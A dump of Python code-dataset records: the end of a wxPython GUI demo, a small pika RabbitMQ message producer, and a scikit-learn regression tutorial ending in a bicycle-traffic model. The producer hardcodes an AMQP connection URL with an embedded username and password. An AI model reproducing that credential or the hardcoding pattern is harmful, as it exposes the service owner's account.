wx.Menu()\r\n file_menu.Append(wx.ID_EXIT, \"Exit\")\r\n\r\n help_menu = wx.Menu()\r\n help_menu.Append(ID_About, \"About...\")\r\n mb.Append(file_menu, \"File\")\r\n mb.Append(help_menu, \"Help\")\r\n self.SetMenuBar(mb)\r\n\r\n def createSplitLayout(self):\r\n split1 = wx.SplitterWindow(self,-1,style=wx.SP_LIVE_UPDATE)\r\n self.left_panel = self.createLeftPane(split1)\r\n \r\n\r\n split2 = wx.SplitterWindow(split1,-1,style=wx.SP_LIVE_UPDATE)\r\n self.first_panel = wx.Window(split2,style = wx.BORDER_SUNKEN)\r\n self.second_panel = wx.Window(split2,style = wx.BORDER_SUNKEN)\r\n\r\n split1.SetMinimumPaneSize(50)\r\n split1.SplitVertically(self.left_panel, split2,200)\r\n\r\n split2.SetMinimumPaneSize(20)\r\n split2.SetSashGravity(0.5)\r\n split2.SplitVertically(self.first_panel, self.second_panel)\r\n\r\n def createLeftPane(self,parent):\r\n sampleList = ['zero', 'one', 'two', 'three', 'four', 'five',\r\n 'six', 'seven', 'eight', 'nine', 'ten', 'eleven',\r\n 'twelve', 'thirteen', 'fourteen']\r\n self.clone_list = wx.ListBox(parent, 60, (100, 50), (90, 120), sampleList, wx.LB_SINGLE)\r\n return self.clone_list\r\n \r\nif __name__ == '__main__':\r\n import sys,os\r\n app = wx.App(False)\r\n frame = AuiFrame(None, wx.ID_ANY, \"Aui\", size=(750, 590))\r\n frame.Show(True)\r\n\r\n app.MainLoop()\r\n\r\n", "sub_path": "libs/pytoken/gui/aui.py", "file_name": "aui.py", "file_ext": "py", "file_size_in_byte": 2017, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "wx.NewId", "line_number": 5, "usage_type": "call"}, {"api_name": "wx.Frame", "line_number": 9, "usage_type": "attribute"}, {"api_name": "wx.DefaultPosition", "line_number": 10, "usage_type": "attribute"}, {"api_name": "wx.DefaultSize", "line_number": 11, "usage_type": "attribute"}, {"api_name": "wx.DEFAULT_FRAME_STYLE", "line_number": 11, "usage_type": "attribute"}, {"api_name": "wx.SUNKEN_BORDER", "line_number": 12, "usage_type": "attribute"}, {"api_name": "wx.CLIP_CHILDREN", "line_number": 13, "usage_type": "attribute"}, {"api_name": "wx.Frame.__init__", "line_number": 14, "usage_type": "call"}, {"api_name": "wx.Frame", "line_number": 14, "usage_type": "attribute"}, {"api_name": "wx.MenuBar", "line_number": 20, "usage_type": "call"}, {"api_name": "wx.Menu", "line_number": 22, "usage_type": "call"}, {"api_name": "wx.ID_EXIT", "line_number": 23, "usage_type": "attribute"}, {"api_name": "wx.Menu", "line_number": 25, "usage_type": "call"}, {"api_name": "wx.SplitterWindow", "line_number": 32, "usage_type": "call"}, {"api_name": "wx.SP_LIVE_UPDATE", "line_number": 32, "usage_type": "attribute"}, {"api_name": "wx.SplitterWindow", "line_number": 36, "usage_type": "call"}, {"api_name": "wx.SP_LIVE_UPDATE", "line_number": 36, "usage_type": "attribute"}, {"api_name": "wx.Window", "line_number": 37, "usage_type": "call"}, {"api_name": "wx.BORDER_SUNKEN", "line_number": 37, "usage_type": "attribute"}, {"api_name": "wx.Window", "line_number": 38, "usage_type": "call"}, {"api_name": "wx.BORDER_SUNKEN", "line_number": 38, "usage_type": "attribute"}, {"api_name": "wx.ListBox", "line_number": 51, "usage_type": "call"}, {"api_name": "wx.LB_SINGLE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "wx.App", "line_number": 56, "usage_type": "call"}, {"api_name": "wx.ID_ANY", "line_number": 57, "usage_type": "attribute"}]} {"seq_id": "405368125", "text": "import pika, json\n\nAMQP_URL = 'amqps://akpuvzcs:D474MrduFSaxw19PzP4z_8uhWbGqwGXv@baboon.rmq.cloudamqp.com/akpuvzcs'\nparams = pika.URLParameters(AMQP_URL)\nconnection = pika.BlockingConnection(params)\nchannel = connection.channel()\n\ndef publish(method, body):\n properties = pika.BasicProperties(method)\n channel.basic_publish(\n exchange='',\n routing_key='main',\n body=json.dumps(body),\n properties = properties\n )\n", "sub_path": "admin/products/producer.py", "file_name": "producer.py", "file_ext": "py", "file_size_in_byte": 449, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pika.URLParameters", "line_number": 4, "usage_type": "call"}, {"api_name": "pika.BlockingConnection", "line_number": 5, "usage_type": "call"}, {"api_name": "pika.BasicProperties", "line_number": 9, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 13, "usage_type": "call"}]} {"seq_id": "628685208", "text": "#######################################################################\n# library\n#######################################################################\nimport seaborn as sns\nimport matplotlib.pyplot as plt \nimport numpy as np\n\n\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.pipeline import make_pipeline\n\n#######################################################################\n# Polynomial basis functions\n#######################################################################\n\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import LinearRegression\nx= np.array([2,3,4])\npoly = PolynomialFeatures(3,include_bias=False)\n# convert one-dimensional array into a three-dimensional array\npoly.fit_transform(x[:, None])\n\nfrom sklearn.pipeline import make_pipeline\n# Make a 7th-degree polynomial model\npoly_model = make_pipeline(PolynomialFeatures(7),LinearRegression())\n# create training data\nrng = np.random.RandomState(1)\nx = 10 * rng.rand(50)\ny = np.sin(x) + 0.1 * rng.randn(50)\n# Fit the model\npoly_model.fit(x[:,np.newaxis], y)\n# create test data\nxfit = np.linspace(0, 10, 1000)\nyfit = poly_model.predict(xfit[:,np.newaxis])\n\nplt.scatter(x,y)\nplt.plot(xfit,yfit)\nplt.show()\n\n\n#######################################################################\n# Gaussian basis functions\n#######################################################################\n\n\n\n\n\n\n#######################################################################\n# PolynomialRegression\n#######################################################################\n# Use a pipeline to string operations together\ndef PolynomialRegression(degree=2, **kwargs):\n return make_pipeline(PolynomialFeatures(degree),\n LinearRegression(**kwargs))\n\n# generate data\ndef make_data(N, err=1.0, rseed=1):\n # randomly sample the data\n rng = np.random.RandomState(rseed)\n X = rng.rand(N, 1) ** 2\n y = 10 - 1. / (X.ravel() + 0.1)\n if err > 0:\n y += err * rng.randn(N)\n return X, y\n\n# Call the function\nX, y = make_data(40)\n\n# visualize our data\nplt.scatter(X.ravel(), y, color='black')\naxis = plt.axis()\n\n# generate X_test\nX_test = np.linspace(-0.1, 1.1, 500)[:, None]\n# Fit Polynomial Regression\nfor degree in [1, 3, 5]:\n y_test = PolynomialRegression(degree).fit(X,y).predict(X_test)\n plt.plot(X_test.ravel(),y_test,label='degree{0}'.format(degree))\nplt.xlim(-0.1, 1.0)\nplt.ylim(-2, 12)\nplt.legend(loc='best');\nplt.show()\n\n# Compute training score and validation score across the range\nfrom sklearn.model_selection import validation_curve\ndegree = np.arange(0,21)\ntrain_score, val_score = validation_curve(PolynomialRegression(),X,y,'polynomialfeatures__degree',degree,cv=7)\nplt.plot(degree, np.median(train_score, 1), color='blue', label='training score')\nplt.plot(degree, np.median(val_score, 1), color='red', label='validation score')\nplt.legend(loc='best')\nplt.ylim(0, 1)\nplt.xlabel('degree')\nplt.ylabel('score');\nplt.show()\n\n# Compute and display the fit of degree d over the original data\nplt.scatter(X.ravel(), y)\nlim = plt.axis()\ny_test = PolynomialRegression(3).fit(X, y).predict(X_test)\nplt.plot(X_test.ravel(), y_test);\nplt.axis(lim);\nplt.show()\n\n\n\n#######################################################################\n# Learning Curves\n#######################################################################\n\n# Compute training score and validation score across the range\nfrom sklearn.model_selection import validation_curve\ndegree = np.arange(0,21)\ntrain_score, val_score = validation_curve(PolynomialRegression(),X,y,'polynomialfeatures__degree',degree,cv=7)\nplt.plot(degree, np.median(train_score, 1), color='blue', label='training score')\nplt.plot(degree, np.median(val_score, 1), color='red', label='validation score')\nplt.legend(loc='best')\nplt.ylim(0, 1)\nplt.xlabel('degree')\nplt.ylabel('score');\nplt.show()\n\n\n# generate a new dataset with a factor of five more points\nX2, y2 = make_data(200)\nplt.scatter(X2.ravel(), y2);\nplt.show()\n\n# Compute training score and validation score across the range\nfrom sklearn.model_selection import validation_curve\ndegree = np.arange(21)\ntrain_score2, val_score2 = validation_curve(PolynomialRegression(), X2, y2,'polynomialfeatures__degree', degree, cv=7)\nplt.plot(degree, np.median(train_score2, 1), color='blue', label='training score')\nplt.plot(degree, np.median(val_score2, 1), color='red', label='validation score')\nplt.plot(degree, np.median(train_score, 1), color='blue', alpha=0.3, linestyle='dashed')\nplt.plot(degree, np.median(val_score, 1), color='red', alpha=0.3, linestyle='dashed')\nplt.legend(loc='lower center')\nplt.ylim(0, 1)\nplt.xlabel('degree')\nplt.ylabel('score');\nplt.show()\n\n\n#######################################################################\n# Validation in Practice: Grid Search\n#######################################################################\n# Using grid to find the optimal polynomial model\nfrom sklearn.model_selection import GridSearchCV\n# set parameters\nparam_grid = {'polynomialfeatures__degree': np.arange(21),\n 'linearregression__fit_intercept': [True, False],\n 'linearregression__normalize': [True, False]}\ngrid = GridSearchCV(PolynomialRegression(), param_grid, cv=7)\n# Fit the model at each grid point, keeping track of the scores along the way\ngrid.fit(X, y);\n# Ask the best parameters\ngrid.best_params_\n# Use the best model and show the fit over the data\nmodel = grid.best_estimator_\n\nplt.scatter(X.ravel(), y)\nlim = plt.axis()\ny_test = model.fit(X, y).predict(X_test)\nplt.plot(X_test.ravel(), y_test);\nplt.axis(lim);\nplt.show()\n\n\n#######################################################################\n# Basis Function Regression\n#######################################################################\n# transform data according to basis functions\n\n#----------------------------------------------------------------------\n# Polynomial basis functions\n#----------------------------------------------------------------------\nfrom sklearn.preprocessing import PolynomialFeatures\nx = np.array([2, 3, 4])\npoly = PolynomialFeatures(3, include_bias=False)\npoly.fit_transform(x[:, None])\n\nxfit = np.linspace(0, 10, 1000)\n\nfrom sklearn.pipeline import make_pipeline\npoly_model = make_pipeline(PolynomialFeatures(7),\n LinearRegression())\n\nrng = np.random.RandomState(1)\nx = 10 * rng.rand(50)\ny = np.sin(x) + 0.1 * rng.randn(50)\n\npoly_model.fit(x[:, np.newaxis], y)\nyfit = poly_model.predict(xfit[:, np.newaxis])\n\nplt.scatter(x, y)\nplt.plot(xfit, yfit);\nplt.show()\n\n\n#----------------------------------------------------------------------\n# Gaussian basis functions\n#----------------------------------------------------------------------\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\nclass GaussianFeatures(BaseEstimator, TransformerMixin):\n \"\"\"Uniformly spaced Gaussian features for one-dimensional input\"\"\"\n \n def __init__(self, N, width_factor=2.0):\n self.N = N\n self.width_factor = width_factor\n \n @staticmethod\n def _gauss_basis(x, y, width, axis=None):\n arg = (x - y) / width\n return np.exp(-0.5 * np.sum(arg ** 2, axis))\n \n def fit(self, X, y=None):\n # create N centers spread along the data range\n self.centers_ = np.linspace(X.min(), X.max(), self.N)\n self.width_ = self.width_factor * (self.centers_[1] - self.centers_[0])\n return self\n \n def transform(self, X):\n return self._gauss_basis(X[:, :, np.newaxis], self.centers_,\n self.width_, axis=1)\n \ngauss_model = make_pipeline(GaussianFeatures(20),\n LinearRegression())\ngauss_model.fit(x[:, np.newaxis], y)\nyfit = gauss_model.predict(xfit[:, np.newaxis])\n\nplt.scatter(x, y)\nplt.plot(xfit, yfit)\nplt.xlim(0, 10);\nplt.show()\n\n\n#----------------------------------------------------------------------\n# Regularization\n#----------------------------------------------------------------------\nmodel = make_pipeline(GaussianFeatures(30),\n LinearRegression())\nmodel.fit(x[:, np.newaxis], y)\n\nplt.scatter(x, y)\nplt.plot(xfit, model.predict(xfit[:, np.newaxis]))\n\nplt.xlim(0, 10)\nplt.ylim(-1.5, 1.5);\nplt.show()\n\ndef basis_plot(model, title=None):\n fig, ax = plt.subplots(2, sharex=True)\n model.fit(x[:, np.newaxis], y)\n ax[0].scatter(x, y)\n ax[0].plot(xfit, model.predict(xfit[:, np.newaxis]))\n ax[0].set(xlabel='x', ylabel='y', ylim=(-1.5, 1.5))\n \n if title:\n ax[0].set_title(title)\n\n ax[1].plot(model.steps[0][1].centers_,\n model.steps[1][1].coef_)\n ax[1].set(xlabel='basis location',\n ylabel='coefficient',\n xlim=(0, 10))\n \nmodel = make_pipeline(GaussianFeatures(30), LinearRegression())\nbasis_plot(model)\nplt.show()\n\n#----------------------------------------------------------------------\n# Ridge regression ($L_2$ Regularization)\n#----------------------------------------------------------------------\n\nfrom sklearn.linear_model import Ridge\nmodel = make_pipeline(GaussianFeatures(30), Ridge(alpha=0.1))\nbasis_plot(model, title='Ridge Regression')\nplt.show()\n\n#----------------------------------------------------------------------\n# Lasso regression ($L_1$ regularization)\n#----------------------------------------------------------------------\nfrom sklearn.linear_model import Lasso\nmodel = make_pipeline(GaussianFeatures(30), Lasso(alpha=0.001))\nbasis_plot(model, title='Lasso Regression')\nplt.show()\n\n\n#######################################################################\n# Predicting Bicycle Traffic\n#######################################################################\n# !curl -o FremontBridge.csv https://data.seattle.gov/api/views/65db-xm6k/rows.csv?accessType=DOWNLOAD\nimport pandas as pd\ncounts = pd.read_csv('FremontBridge.csv', index_col='Date', parse_dates=True)\nweather = pd.read_csv('data/BicycleWeather.csv', index_col='DATE', parse_dates=True)\n\ndaily = counts.resample('d').sum()\ndaily['Total'] = daily.sum(axis=1)\ndaily = daily[['Total']] # remove other columns\n\n\n\ndays = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']\nfor i in range(7):\n daily[days[i]] = (daily.index.dayofweek == i).astype(float)\n\nfrom pandas.tseries.holiday import USFederalHolidayCalendar\ncal = USFederalHolidayCalendar()\nholidays = cal.holidays('2012', '2016')\ndaily = daily.join(pd.Series(1, index=holidays, name='holiday'))\ndaily['holiday'].fillna(0, inplace=True)\n\n\ndef hours_of_daylight(date, axis=23.44, latitude=47.61):\n \"\"\"Compute the hours of daylight for the given date\"\"\"\n days = (date - pd.datetime(2000, 12, 21)).days\n m = (1. - np.tan(np.radians(latitude))\n * np.tan(np.radians(axis) * np.cos(days * 2 * np.pi / 365.25)))\n return 24. * np.degrees(np.arccos(1 - np.clip(m, 0, 2))) / 180.\n\ndaily['daylight_hrs'] = list(map(hours_of_daylight, daily.index))\ndaily[['daylight_hrs']].plot()\nplt.ylim(8, 17)\n\n\n\n# temperatures are in 1/10 deg C; convert to C\nweather['TMIN'] /= 10\nweather['TMAX'] /= 10\nweather['Temp (C)'] = 0.5 * (weather['TMIN'] + weather['TMAX'])\n\n# precip is in 1/10 mm; convert to inches\nweather['PRCP'] /= 254\nweather['dry day'] = (weather['PRCP'] == 0).astype(int)\n\ndaily = daily.join(weather[['PRCP', 'Temp (C)', 'dry day']])\n\n\n\ndaily['annual'] = (daily.index - daily.index[0]).days / 365.\n\n\n\n# Drop any rows with null values\ndaily.dropna(axis=0, how='any', inplace=True)\n\ncolumn_names = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun', 'holiday',\n 'daylight_hrs', 'PRCP', 'dry day', 'Temp (C)', 'annual']\nX = daily[column_names]\ny = daily['Total']\n\nmodel = LinearRegression(fit_intercept=False)\nmodel.fit(X, y)\ndaily['predicted'] = model.predict(X)\n\n\ndaily[['Total', 'predicted']].plot(alpha=0.5);\n\nparams = pd.Series(model.coef_, index=X.columns)\nparams\n\n\n\nfrom sklearn.utils import resample\nnp.random.seed(1)\nerr = np.std([model.fit(*resample(X, y)).coef_\n for i in range(1000)], 0)\n\n\nprint(pd.DataFrame({'effect': params.round(0),\n 'error': err.round(0)}))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "07_NonLinearity_Regression.py", "file_name": "07_NonLinearity_Regression.py", "file_ext": "py", "file_size_in_byte": 12173, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 35, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 56, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 62, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 89, "usage_type": "call"}, {"api_name": "sklearn.model_selection.validation_curve", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 115, "usage_type": "call"}, {"api_name": "sklearn.model_selection.validation_curve", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 133, "usage_type": "call"}, {"api_name": "sklearn.model_selection.validation_curve", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 152, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 168, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 180, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 184, "usage_type": "call"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 187, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 187, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 190, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 194, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 195, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 199, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 199, "usage_type": "name"}, {"api_name": "sklearn.base.BaseEstimator", "line_number": 207, "usage_type": "name"}, {"api_name": "sklearn.base.TransformerMixin", "line_number": 207, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 226, "usage_type": "attribute"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 229, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 231, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 232, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 234, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 234, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 235, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 236, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 237, "usage_type": "name"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 243, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 245, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "numpy.newaxis", "line_number": 248, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 250, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 255, "usage_type": "name"}, {"api_name": "numpy.newaxis", "line_number": 256, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 258, "usage_type": "attribute"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 270, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 270, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 272, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 272, "usage_type": "name"}, {"api_name": "sklearn.pipeline.make_pipeline", "line_number": 279, "usage_type": "call"}, {"api_name": "sklearn.linear_model.Ridge", "line_number": 279, "usage_type": "call"}, 